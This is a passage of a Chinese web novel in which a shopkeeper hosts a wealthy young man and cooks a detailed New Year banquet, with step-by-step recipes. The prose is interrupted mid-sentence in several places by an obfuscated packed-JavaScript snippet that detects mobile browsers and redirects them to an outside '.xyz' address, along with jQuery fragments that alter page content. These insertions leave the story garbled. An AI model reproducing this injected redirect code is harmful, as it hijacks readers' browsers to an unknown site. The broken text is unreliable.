忽然她看到了那拉着马车的两匹马，其中一匹有点眼熟，再一看这马怎么越看越像那日移栽葡萄树的时候，聂鸿轩骑着的那匹马呢？ 她走过去正想打量看看，刚贴近马车忽然马车上探出一个头来，聂鸿轩从车窗上伸出头来，他的脸离卜霜很近，穿着一身带着貂毛的衣服，毛茸茸的，聂鸿轩眯着眼笑着：“我还以为你很聪明呢，怎么连这都想不明白，惦记你的人自然是我啊。” 小丫鬟捂着嘴笑。 “我是跟在老夫人身边的，但是小公子从年节那日一直想来见你，今日才有了时间，想起我好像和卜掌柜认识，就把我也拉上了。” “你都不知道来我们那群老家伙，觥筹交错，一刻不停，不知道哪有那么多的话要说，祖母非要我和她一起宴客，我脱都脱不开身，今日才把我放出来了。”何喻昌就开始抱怨道，他的话又多又密脸上表情丰富，好像是只要有他在的地方，就很，忽然他伸出一只手动了动卜霜的脸，笑了笑，“多日不见，你变的好看了。” 他的动作太快，卜霜都来不及反应。 等她反应过来的时候，何喻昌已经从马车上下来了。 卜霜这才看到他穿的衣服，衣服面料都是上等的，都是镇上没有的卖的料子，把何喻昌很是好看贵气，但是从上到下的领口袖子边上都有一圈毛茸茸的滚边，他下来的时候两只手里还各提着两盒东西，包装很有格调，但是在他手里一晃一晃的。 他提溜着礼盒，一下子从车上跳下来，跑到卜霜面前，看的他人也更加喜庆起来。 “呐，这是我给你送的年礼，专程从南面拿回来的，最出名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531825|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的点心铺子新出的点心，只有这么几盒，味道独特回味悠长，你知道我的口味的，我能说好吃的这个口味就是一等一的，我给你留了几盒，你尝一尝，一定喜欢。”何喻昌献宝似的道。 卜霜就忍不住笑了。 何喻昌都说好的东西，那一定是好东西。 她十分痛快的就收下了，故意耸了耸，道。 “我可没有这么贵重的回礼。” “不用回礼，你就请我进你家吃顿饭就行了，我还没来过你家呢，上次过来你不在我也没进去过。” “好，那你进来吧。” 卜霜就招呼他和小丫鬟都进来坐。 一路上何喻昌紧紧跟在卜霜身边，到处张望，很感兴趣的样子。 他几乎对什么都觉得新奇，一会儿问院里的大棚菜地是什么，一会儿又问那水槽怎么用。 看完之后，他赞赏道：“你这小院虽然不大，但是还有些清雅，这些设计不像是普通人家能有的。” 对于他这样住着何府那样宅院的人来说，看过她的院子后还能这样说，卜霜心里有些暗爽。 “这个房子是我设计的。” “哇，卜掌柜的你，你好厉害啊。”小丫鬟拍着手满眼崇拜。 何喻昌嫌弃的对小丫鬟道：“看看，看看你那没见过世面的样子，在外面可别说是我何府出来的。” 他忽然又想到什么，问道：“我上次那废了半条命搬回来的山葡萄树呢？” 卜霜就带他去看。 她上次也没想到何喻昌居然真的帮她把山葡萄树和赵石头他们一起都挖过来了。 何喻昌见到那两颗山葡萄树，一点没有失了身份的后悔，还颇有些自得，啧啧的笑着。 “不愧是我搬回来的树，长得就是与众不同，看这两棵树长得都要比那一树高一些。” 卜霜狐疑的看了看。 有吗，她怎么觉得这三棵树都长得差不多呢？ 第100章 糖水 不过何喻昌来的也正好，卜霜正准备年后也要去找他。 屋子里的赵昭明和张婶听到院子里的声音，都跑出来看。 见到何喻昌后两人一看他的装扮和气场，身边还还跟着丫鬟，都有些惊讶。 “这是？” “你屋里还有人呢？”何喻昌笑着看了卜霜一眼，一点都不尴尬，就向赵昭明和张婶道：“我是卜霜的朋友，叫何喻昌，镇上何家的，这不是大年初二了吗，家里人多我就被赶过来蹭饭来了。” 镇上何家的人，她们都是稍微有所耳闻，听说**做生意，产业遍布各地，那不是一般富裕的人家啊。 这人说的话不着调，但是她们一看他的模样就是家里的公子。 卜霜还认识这样的人呢。 从来没听说过啊？ 赵昭明一看这小公子长得俊俏，大老远过来见卜霜一点没有不耐烦，还很开心，就笑着拱了供张婶，表情有点耐人寻味。 “我叫赵昭明，这是她张婶，我们都是卜妹妹的邻居朋友。” “何公子啊，既然你是卜妹妹的朋友，我们就不打扰了，这眼看也要中午了，我们去收拾收拾给你泡杯茶，你们聊哈哈你们聊。” 赵昭明拉着张婶就要回去，两人还眉来眼去的使眼色。 “赵姐姐你别忙了，他不喝我这里的茶，你给他拿碗糖水就好了。”卜霜边进屋子里收拾了一下边道。 “怎么不喝了，我喝，这一路过来，渴死我了。”何喻昌忙大声抱怨道，然后又眯眼瞪着卜霜：“你是不是藏着什么好东西不让我喝？” 卜霜气笑了，一五一十的把上次的事情复述给他：“何喻昌，你记性可真够差，是谁上次在我的铺子里喝了茶之后嫌我的茶不入口，这次给你糖水喝就不错了，要是我那个小伙计在的话，就只给你喝白水。” 何喻昌想了起来，摸了摸鼻子，但是还是小声道。 “你那茶确实膻味太重了，根本就不是茶，谁能喝得下去啊。” “你说什么？” 卜霜就瞪他。 小丫鬟连忙出来打圆场：“卜掌柜你别见怪，我们小公子平日里只喝最上等的茶，口味有些挑，不过他不是对你，他在哪里都这么难伺候的。” 最后一句小丫鬟捂着嘴悄咪咪的和卜霜道。 卜霜就笑出了声，再围着何喻昌左看看，右看看，点了点头，十分认同。 “我人还在这儿呢啊，你们说我坏话也要背着点人吧。”何喻昌立时不满的大声嚷嚷道。 “你这小丫鬟，我好心把你带出来见卜霜，你倒好，一直当着别人面揭我老底。” 那小丫鬟也机灵，转眼就躲在了卜霜的身后。 “你出来，谁是你主子？”何喻昌去抓她。 “我不。”小丫鬟左右绕着就是不出来。 “赵姐姐，就给他喝糖水。”卜霜护着小丫鬟大声道。 赵昭明看着两人拌嘴打闹很是熟稔的样子，那笑意就更加的意味深长了。 “何公子，这院儿里冷，你要不快到屋子里烤烤火吧，干果瓜子什么的什么都有，你等一等，我给你去倒糖水。” 卜霜收拾了一下屋子，也道：“你进屋子里来吧。” 何喻昌这才意识到还有外人在看着呢，咳了两声。 卜霜领着何喻昌进了屋子里，何喻昌倒是一点没有不自在，进了屋子一撩衣袍，一屁股就直接就卜霜放在炕上放着的软垫上。 那软垫是卜霜拿后院兔子换季的**自己做的，又软又绒很舒服。 他倒是会享受，一点都不委屈着自己。 但是那软垫是平日里卜霜自己坐的。 卜霜在原地叉着腰瞪着她，何喻昌一点没看出来，还摸了摸那软垫，“没想到，你还挺有品味，这平日里用的东西也不差。” 他说完就又开始的打量着她屋里，卜霜越来越无奈。 平日里来了客人哪个不都是拘谨的，都是她招待对方，只有这人一点没把这里当成别人家。 她去招呼小丫鬟在椅子上坐下。 小丫鬟也好奇的打量着椅子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531826|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周。 院子里，赵昭明早就倒好了糖水但是就是迟迟不送进去，她窝在墙角眼睛时不时通过窗户往何喻昌和卜霜那边瞟。 张婶好笑的在她身后看着她偷偷摸摸的动作。 正好聂鸿轩教完了万路他们，从书房里出来了，看到赵昭明的动作后不由的一愣，他和张婶对视了一眼，“这是？” “嘘，来客人了。”赵昭明连忙回头食指比在嘴唇上，让他放轻声音，又指了指窗户，示意他去看。 “来客人你为什么要蹲在这里啊？”聂鸿轩只是随意的扫了一眼。 “男的。”赵昭明怕她说的不够清楚，又指了指窗台上晒着的卜霜那日拿回来的葱，给他提示道，“如意郎君。” 聂鸿轩一愣。 屋子里面何喻昌全然不顾卜霜的无奈，自顾自地拿起桌上的干果嚼了起来，还时不时地品评两句。 “嗯，这干果不错，香甜可口的，是在哪买的？” “这瓜子炒的不够入味，没有我们家的好吃，你下次过来尝尝我们家那瓜子，那才叫好吃。” “对啊，卜掌柜那瓜子可好吃了，我们小公子上次吃的都把自己卡住了，那闹是天翻地覆，还有几个小厮跑上来有漏有包的才给小公子把那瓜子给咳出来。”小丫鬟就道。 “唉唉，说什么呢，你行了。”何喻昌猛烈的咳了两声，“再说你那是什么用词，什么叫又搂又抱的？” “我是看到他们把公子你抱起来了啊。”小丫鬟不服气。 卜霜笑了起来，如果是何喻昌的话，她可以想象到那个场面。 何喻昌示意小丫鬟闭嘴，然后就道：“我好渴啊，水呢，你出去给我取水。” 外头院墙下蹲着的赵昭明一听到这里连忙端着碗走了进去。 “糖水来了，来，何公子，渴坏了吧。” 糖水端上来，何喻昌接过一口气就喝了下去，又连着吨吨吨喝了俩碗，这才擦了擦嘴，眉头舒展了开来：“嗯，这糖水好喝，还很解渴，我说不出来，但是你这里的水好像和外面的水不一样。” 第101章 桂花莲藕 她在厨房的缸子里加了灵泉水的，自然是和外面的水不一样。 不过何喻昌的味觉确实很灵，连这水都能喝的出来。 “哎，我好像感觉精神了许多，也不累了。”何喻昌握了握手掌，很惊喜的道。 “那一定是你太渴了。”卜霜赶紧把话糊弄过去，转头和赵昭明说道，“这个时间也能做饭了，聂哥儿从书房出来了吗。” “刚从书房里出来，说是万路他们也都看好书了。”赵昭明道。 “聂哥儿是谁，你家教书先生吗？”何喻昌很灵敏的捕捉到一个新名字，边喝水边问道。 “他是张婶的儿子，学问很好，平时也会来教教万路几个孩子。” 何喻昌点点头，并没有太放在心上。 “那你自便吧，我去做饭了。”卜霜就道，“无聊的话，让万路陪你逛逛其他地方，我家还有后院养着一些动物，再无聊的话你就和他们四个玩打沙包吧。” 何喻昌撇嘴：“那种小孩的东西你也拿来糊弄我。” 卜霜就笑着去了厨房。 一进厨房就被跟过来早就忍不住想要探听的赵昭明和张婶拉住盘问。 “快说，那人究竟是谁啊，他说他是镇上何家的人，是我知道的那个何府里吗，你们是怎么背着我偷偷认识的，快说快说，都给我从实招来。” 赵昭明兴奋的两眼放光。 “你高兴个什么劲啊。”卜霜觉得好笑。 “你说我为什么高兴，那可是个贵公子啊。”赵昭明道。 贵公子？ 何喻昌？ 卜霜不由得想起他那副话痨，自傲，要求超级多，还一张嘴就总是得罪人的样子。 赵昭明看到的好像和她不一样。 赵昭明抓着她的肩膀使劲摇，好奇的抓耳挠腮。 “行，我如实和你说，这镇上还有第二家何府吗，他确实是何府小公子，何老妇人最宠爱的孙子。”卜霜道。 这下就连一直淡淡笑着的张婶也有些惊讶了。 “我曾经也对这何家有所耳闻，这何府的生意大到惊人，就连京城里也有他们不少产业。” “你们是怎么认识的啊。”赵昭明张大嘴，惊叹了一会儿后又问。 卜霜正准备说，下一瞬聂鸿轩也打了帘子进来了：“我来喝水。” 看他要从缸里舀冷水喝，卜霜忙按住他的胳膊，然后从灶上取出专门做好给他温着的汤，一边递给聂鸿轩边说道。 “在卜记食铺认识的，他是我的食客，后来何老妇人宴请客人要办宴席，他就来请我去何府做了一桌席面，就这么认识的。” “不止吧，我看他和你可熟悉的很，我不像是只见过一两面的样子。”赵昭明拉长了调子调侃道。 这么说起来，何喻昌陪着她看过地，上次还去了后山，和她一起挖那两棵山葡萄树。 但是看着赵昭明现在的样子，要是全部都说出来，她不知道能瞎想到哪里去。 卜霜就不说了，开始在厨房里忙活：“哎呀，这中午做点什么菜好呢？” 赵昭明就满脸笑意的看向张婶和聂鸿轩：“你们看看她。” 张婶笑了笑，若有所思道：“那孩子我看着清澈坦诚俊秀，模样也好，是个好人。” 聂鸿轩听着他娘话，心口一紧，看着卜霜正在忙活的背影，有些闷闷的说不出来的感受。 卜霜虽然和何喻昌拌拌嘴没个正形，但是这顿午饭她肯定会精心准备，是绝对不可能糊弄他的。 昨日的那桌席面上的菜，其实一开始也都是给何喻昌准备的。 原本她准备在年后把何喻昌约出来，做一桌席面再他商谈一下葡萄酒的生意。 没错，卜霜在做第一批葡萄酒的时候就已经想到了要怎么卖了，就是通过何喻昌卖给何府。 何府名下有许多的酒楼饭馆，遍布各个县城，上次也收了她的卤味供应在各个产业，他们的酒楼一定也会卖酒，如果能把她酿的葡萄酒通过何府的渠道卖出去，那就是再好不过了。 何府管事的是何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531827|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妇人，但是她想先和何喻昌提这个事，他的嘴巴刁钻，老夫人也十分信任他，卜霜做的卤味之所以能被老夫人看到以及上次去何府做席都是因为何喻昌的引荐。 只要何喻昌喝过葡萄酒之后觉得好喝，由他去和老夫人说这件事，那卖出葡萄酒的几率就很大了。 有了昨日席面上尝试，卜霜大概对今日的菜品进行了一些调整，比如她这次准备多做桂花糖藕，蟹粉狮子头寓意团圆美满，鲍鱼红烧肉寓意红火富贵，芦笋炒虾仁寓意节节高升，金汤娃娃菜清口解腻，花胶鸡汤滋补养颜。 然后再加一道昨日席面上做过的藤椒蒸鲈鱼，一道茶香熏鸡，一道黑蒜子牛肉，一道黄焖羊肉煲，再来一道芦笋炒百合。 主食和点心就做腊味煲仔饭寓意财源滚滚。 炸春卷迎春纳福。 酒酿圆子甜甜蜜蜜。 然后再配上酿好的葡萄酒，保准让何喻昌香的走不动。 卜霜准备先做桂花莲藕，这是道甜食，应该很符合何喻昌的口味。 糯米要提前浸泡，泡至能用手指碾碎，然后沥干水分备用。 接下来是处理莲藕，莲藕洗净去皮，切去一端藕节，保留作盖子，然后将糯米塞入藕孔，用筷子压实，不要装满，盖上切下的藕节固定。 然后在锅中加水没过藕，放入红糖、冰糖、红枣，大火炖煮，中途翻面确保上色均匀，用竹签能轻松扎透即可，关火后让藕在糖水中再浸泡一会儿更入味。 接下来就是收汁切片，取出藕晾凉切片，将锅中糖汁大火收至浓稠，藕片摆盘，淋上糖汁，撒干桂花，点缀红枣就可以了。 蟹粉狮子头的重点在于处理肉馅，肉馅一定要达到松而不散。 卜霜就把五花肉肥瘦分开，肥肉切石榴粒大小，瘦肉剁成粗糜，肥肉粒单独用刀背拍几下，出黏性后再混合瘦肉。 然后她在肉馅中分次加葱姜水，搅打到肉馅发黏，加入盐、糖、白胡椒粉、蛋清继续搅拌，最后加入淀粉。 马蹄切与蟹粉轻轻拌入肉馅，增加脆感。 第102章 蟹粉狮子头，鲍鱼五花肉，芦笋炒虾仁 然后就是做狮子头了，卜霜在手心蘸上一点水，取出一团肉馅左右手交替摔打排出空气，让肉馅变得更紧实，然后团成拳头大的圆球，表面抹光滑。 接下来她在锅底铺上白菜叶，然后就码入团好的拳头大的狮子头，盖白菜叶，加入高汤没过肉丸。 大火烧开撇浮沫，转小火微沸炖煮一个时辰。 最后装盘时卜霜把青菜心焯过水之后围边，原汤滤出勾薄芡淋在肉丸上，点缀上蟹黄增色。 这道蟹粉狮子头就做好了。 红烧肉人们已经吃过很多次了，百吃不腻，不过因为要招待何喻昌，接下来卜霜要做的是鲍鱼红烧肉，这是她在红烧肉上又做的创新。 卜霜就开始处理五花肉，她先把五花肉切成块，冷水下锅焯水，加入料酒、姜片去腥，煮沸后撇去浮沫，捞出沥干。 然后是处理鲍鱼，她把鲜鲍鱼用刷子刷净黑膜，然后用勺子沿壳挖出肉，去掉内脏和嘴部，在鲍鱼的表面切十字花刀更易入味，再用少许料酒和姜片腌一会儿去腥。 接下来就是开始炒糖色了，卜霜在锅里放少许油，加冰糖小火慢慢炒化，直到冰糖融化成焦糖色立即倒入焯好的五花肉，快速翻炒均匀，让肉块裹满糖色。 加入葱段、姜片、八角、香叶炒香，淋上生抽，老抽，料酒翻炒出酱香味，倒入热水没过五花肉，大火烧开后转小火慢炖炖煮五花肉一个时辰，炖至肉块软烂，再放入腌好的鲍鱼，继续炖半个时辰。 之后放入盐，转大火收汁至汤汁浓稠，裹满了肉和鲍鱼，这道鲍鱼五花肉就做好了。 至于芦笋炒虾仁，卜霜先要处理虾仁，还好赵昭明他们对这一步都很熟悉了，帮着卜霜已经去壳开背，挑出虾线，洗干净取出许多的虾仁了。 卜霜就直接在虾仁里加入盐、白胡椒粉、料酒、淀粉，抓匀腌一会儿。 然后就去处理芦笋。 她把芦笋洗净，用刀削去根部老皮，斜刀切段，然后把锅中水烧开，加少许盐和几滴油，下芦笋焯烫捞出，再过凉水保色，这样做出来的芦笋口感更脆嫩。 接下来她热锅冷油，下入腌好的虾仁快速翻炒至变色，盛出备用。 余油中加蒜末、姜片爆香，再倒入芦笋大火翻炒。 再放回虾仁和芦笋一起炒，加小勺盐调味，翻炒均匀即可出锅。 后面这道菜是金汤娃娃菜，卜霜把娃娃菜切去根部，对半剖开再切成好多瓣，保持菜芯相连，洗净沥干。 然后再把南瓜去皮去瓤，切薄片蒸至软烂，压成细腻的南瓜泥。 锅中水烧开，加小勺盐、几滴油，放入娃娃菜焯烫到菜帮变软捞出沥干，摆入深盘中。 锅中倒入鸡汤，加入南瓜泥，小火搅拌至完全融合，过滤掉粗渣。 汤中加盐、白胡椒粉调味，保持微沸状态。 再将金汤缓缓淋在娃娃菜上，撒上枸杞，放入蒸锅中让菜吸足汤味，这道菜就能直接上桌啦。 花胶鸡汤就做起来比较麻烦，花胶要泡发，还要去腥彻底，才能做出胶质软糯的那个味。 卜霜先把花胶加姜片铺底，上蒸笼里蒸一会儿，蒸到花胶卷曲变软。 然后再把蒸好的花胶放入冰水中，加入姜、料酒，泡发。 泡发后把花胶剪开洗净，刮去内膜血丝，切大块备用。 接下来卜霜开始处理鸡肉。 她把老母鸡切大块，冷水下锅后，加入姜片、料酒，大火煮开焯水，捞出冲净血沫，尤其鸡爪、鸡脖处的杂质要多洗几次洗干净。 然后加清水烧开，放入鸡块、干贝、红枣、姜片。 大火煮沸后撇净浮沫，转小火慢炖，直到汤色渐浓，鸡肉酥烂的时候加入泡发好的花胶，继续小火炖。 此时汤色转为浅金色，胶质逐渐析出，用勺背能挂住汤汁，再撒入枸杞，加少许盐调味，关火再焖一会儿，让余温融合滋味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腊味煲仔饭 接下来的熏制上色就是卜霜的事了。 下一道菜是黑蒜子牛肉，聂鸿轩先把这道菜需要用到的食材都取出来，然后他开始处理牛肉，逆纹切牛肉更嫩，他逆着牛肉的纹理切成骰子块，然后在牛肉粒里加入生抽、老抽、蚝油、白糖，用手抓匀至发黏，再加淀粉和蛋清继续揉搓，最后淋食用油封住水分，腌一会儿。 然后他开始炸蒜，独头蒜剥皮，切去根部，对半切开。 冷油下蒜瓣，小火慢炸至金黄，蒜子炸到边缘微焦即可，过火会苦，然后捞出沥油备用。 聂鸿轩还记得把炸蒜的油给卜霜留着，用这油炒牛肉会更香。 他转头又开始处理羊肉，这是要做黄焖羊肉煲的时候要用到的，他把羊肉切大块，然后冷水浸泡去血水。 聂鸿轩一个人包揽所有，赵昭明插不上手就在旁边念叨："这血水要洗干净啊，要不然炖出来汤浑！" 聂鸿轩点头，然后把洗干净的羊肉冷水下锅，加姜、料酒，大火煮沸，浮沫涌上来时，他麻利地撇净，再将羊肉捞出用温水冲洗。 炒糖色这一步卜霜刚刚做鲍鱼五花肉的时候也做了，聂鸿轩在旁边看了一会儿，他就也给做了，这样卜霜做起后面的菜的时候也能更快一点。 铁锅烧热，他在锅里倒入菜籽油，放冰糖小火慢炒，糖粒渐渐融化，变成焦糖色时，他把焯好的羊肉"哗啦"倒进去，快速翻炒，让每一块羊肉都裹上了糖色。 之后他就把裹好糖色的羊肉盛出来，到目前为止，昨日几道菜的食材，聂鸿轩就全部处理干净了，赵昭明和张婶全程一点事儿都没干，他一个人抢着都干了，而且做事麻利，比她以前给卜霜打下手时，做的好的不要太多。 卜霜到时候只需要拿起食材直接下锅炒就可以了。 赵昭明简直目瞪口呆。 这聂哥儿是怎么了？ 正好卜霜把新菜都做好了，就开始做这几道菜。 一过来看到那满满当当已经在腌制或者已经清理干净的食材也是十分的惊讶。 这简直太方便了。 卜霜根据昨日众人的反应又调整了一下这几道菜的做法。 第一道是藤椒蒸鲈鱼，卜霜把蒸锅加水烧开，然后把聂鸿轩腌好的鲈鱼冲洗一下，去掉多余的盐分，否则会过咸。鱼盘底部垫两根筷子，她在鱼身上铺上藤椒，就把鲈鱼放进了蒸锅里。 大火猛蒸一会儿，关火后再焖一会儿，让余温把鱼彻底烘熟。 蒸好的鱼小心取出，倒掉盘里的水，抽掉筷子，就开始装盘了。 她在鱼身上铺好葱姜红椒丝，淋上蒸鱼豉油，另起小锅烧两勺花生油，油温八成热时"滋啦"一声浇在葱丝上，热油瞬间激发出了鱼的所有香气，最后再点缀几颗鲜藤椒，青翠的椒粒衬着雪白的鱼肉，看着就让人食指大动。 接下来要做茶香熏鸡。 熏鸡的灵魂在于熏料，她这里改良了一下熏料用了红糖，茶叶和大米，卜霜把混合好的熏料均匀撒在锅里，再放几片橘子皮或桂皮增加果香，架上一个蒸架，把沥干水的鸡放在上面，鸡胸朝上，盖紧锅盖。 小火加热，很快就能看到锅边冒出青烟，这时候要密切注意火候，火太大容易熏出焦糊味，火太小又不上色。 大约熏了一会儿后，卜霜没急着开盖，而是让余温继续焖一会儿，这样烟熏味能完全渗入鸡肉。 掀开锅盖的瞬间，茶香、糖香混合着鸡肉的鲜美扑面而来，鸡皮已经变成诱人的色，表面泛着油光。 卜霜趁热刷一层香油，既能提亮色泽，又能锁住水分，稍微晾凉后她把鸡快好，摆盘时垫上几片新鲜的生菜叶，旁边放了一小碟椒盐或蒜蓉辣酱蘸食。 剩下的熏料她也不想浪费，她准备晚上用来熏鸡蛋或豆腐干。 黑蒜子牛肉这也是一道新鲜菜，卜霜觉得何喻昌一定会喜欢吃。 卜霜用聂鸿轩给她留下的炸蒜的油，倒入牛肉粒快速摊平，然后煎一下再翻动，这样牛肉会外皮焦脆，直到牛肉粒四面煎至焦褐色，盛出备用。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531829|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 之后锅中留底油，用小火，倒入炸好的蒜子和黑胡椒碎炒香。 牛肉粒回锅，加白糖提鲜，淋少许料酒炝锅，然后大火快速翻炒就可以出锅了。 装盘的时候卜霜又撒了一次黑胡椒增香。 旁边小盘子里放了半勺黑椒酱，喜欢酱香的就可以沾着这个黑椒酱吃。 之后要做的是黄焖羊肉煲。 油花滋滋作响，卜霜在羊肉里顺势扔进姜蒜、八角桂皮，香气"腾"地窜起来，然后她将柱侯酱、豆瓣酱沿锅边淋入，酱香混着肉香扑面而来，再加入老抽上色，翻炒均匀。 接下来她再倒入开水没过羊肉两指高，大火烧开转小火，锅盖留条缝，慢炖一个时辰。 卜霜将泡发的腐竹掰成段，轻轻铺在羊肉上，舀了勺汤淋上去，炖到汤汁收到浓稠，腐竹变得半透明，再撒上青蒜段，热气烘得蒜香直往鼻子里钻。 所有的菜都已经做完了，接下来卜霜开始做主食。 第一道主食是腊味煲仔饭。 她先把丝苗米淘洗了好多遍，然后用清水浸泡，沥干备用，米粒吸饱水，更易熟透。 之后卜霜将腊肠斜刀切薄片，腊肉切厚片。 她又开始调酱汁，生抽，蚝油，老抽，白糖，清水搅匀，味道正好咸甜适中，避免过咸。 锅底和内侧刷一层薄油，防粘且易出锅巴，然后开始煮饭，大火煮沸，转小火焖。 当米饭表面出现蜂窝状小孔的时候，快速铺上腊肠、腊肉、姜丝，再在中间磕一个鸡蛋。 然后继续焖制。 卜霜又在锅边淋了一圈食用油，帮助形成金黄锅巴。 她将砂锅倾斜四面轮流转锅受热，让锅巴均匀焦脆。 最后焖香，让腊味油脂彻底渗入米饭。 卜霜又将青菜焯水，加入盐和油保持青菜的翠绿，码在饭上，淋上酱汁。 这样腊味煲仔饭就做好了。 第104章 酒酿圆子 这道主食上桌后要将腊味、鸡蛋、锅巴与米饭翻拌均匀，香气扑鼻！ 她后面要做的另一道主食是炸春卷。 卜霜先开始做春卷里的馅料。 她先将猪肉丝加入生抽、料酒、淀粉抓匀腌一会儿。 再把虾仁用刀背拍散，略剁几刀，保留颗粒感。 干香菇泡发后挤干水分，切细丝，泡香菇的水留用。 热锅凉油，先下猪肉丝滑炒至变色，再放虾仁炒至泛红盛出。 之后补少许油，爆香香菇丝，加胡萝卜丝翻炒至微软。 倒入韭黄、豆芽，大火快速翻炒，保持蔬菜脆嫩。 将肉丝虾仁回锅，加生抽、蚝油、胡椒粉、糖调味，淋芝麻油增香。 这样春卷里的馅料就做好了，馅料需彻底放凉，否则包时容易破皮。 后面就是包春卷 春卷皮摆放好，取一勺馅料放在下方，堆成长条状，馅料不宜过多，卷得松紧适度，太紧炸时易胀破。 将底部向上折叠盖住馅料，两侧向中间折，再向上卷起，卷至末端时，用指尖蘸蛋液涂抹边缘，轻轻按压粘合，这样一个春卷就包好了。 锅中倒油，烧至筷子插入冒小泡为止，就可以放入包好的春卷炸了。 每次炸的过程中放几根分次炸，避免降温过快。 春卷下锅后先不翻动，待定型后用筷子轻轻拨动，使其受热均匀。 中火炸至表面淡金黄捞出沥油。 然后还要复炸一次，炸到春卷呈金黄色即可。 装盘时盘底垫新鲜生菜叶，春卷竖立摆放，撒少许白芝麻用刀斜切段露出多彩馅料，搭配甜辣酱或镇江香醋蘸食，可以解腻增味。 不得不说，直接用聂鸿轩备好的食材快速抄了几道菜之后，她再自己处理后面主食的食材才感觉有聂鸿轩打下手是一件多么幸福的事情。 最后一道甜品是酒酿圆子。 卜霜先将糯米粉和温水搅匀，揉成光滑面团，然后搓成细长条后切小剂子，在掌心里搓圆一个一个的小圆子，撒少许干粉防粘。 她还在一些圆子中包入芝麻馅和豆沙馅口感，这样口感可以更丰富。 酒酿圆子她多做了一些，把它冻起来，之后还可以给孩子们当早餐。 接下来卜霜在锅中加清水煮沸，水量要多，水沸后倒入圆子，用勺背轻推防粘底，煮至圆子全部浮起。 圆子浮起后加半碗冷水，再次煮开。 之后她倒入酒酿，用勺子轻轻搅散，避免米粒结块，再加冰糖，调入水淀粉，边倒边搅至汤汁微稠。 接下来她把鸡蛋打散，关火后绕锅边淋入，轻推形成薄而嫩的蛋花。 再撒泡软的枸杞、干桂花，余温激发出桂花香气。 之后她就把酒酿圆子盛到小碗里，白糯的圆子、金黄的蛋花、红艳的枸杞、星星点点的桂花，色香俱全。 这道酒酿圆子，热吃冷吃都可以。 “菜都做好了，端出去吧，收拾收拾可以开饭了。”卜霜笑道。 赵昭明和张婶就高高兴兴的将那一样样的菜流水似的端到了屋子里。 卜霜擦了擦汗，还没有出去就听到院子里面时不时的传来一阵惊呼，出去之后就看到何喻昌正在院子里和万路万絮万辽万萱大壮他们几个一起玩打沙包，他一个大人混进去居然没有一点不自然，盯着那扔出去的沙包，拽着万辽一会儿跑到这里，一会儿躲到那里，嘴里时不时惊险的叫一声，玩的不亦乐乎，小丫鬟在一边看着他们玩，手舞足蹈吆喝着给小公子捧场。 “是谁说这是小孩子的玩意，让我别糊弄你的？”卜霜靠在厨房门口，很好笑的看着他。 “你别说啊，你做的这沙包还挺有意思的，我从来没有玩过。”何喻昌又一个闪身躲过万絮对他的攻击，拍拍自己的胸脯，对卜霜眉飞色舞道，“你怎么会那么多好玩的东西啊？” “就不告诉你。”卜霜笑着一拍手，道，“别玩了，吃饭了。” 卜霜这么说，何喻昌也没有一点不开心，把沙包一甩就屁颠屁颠的跟在卜霜后面就进了屋子。 这短短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 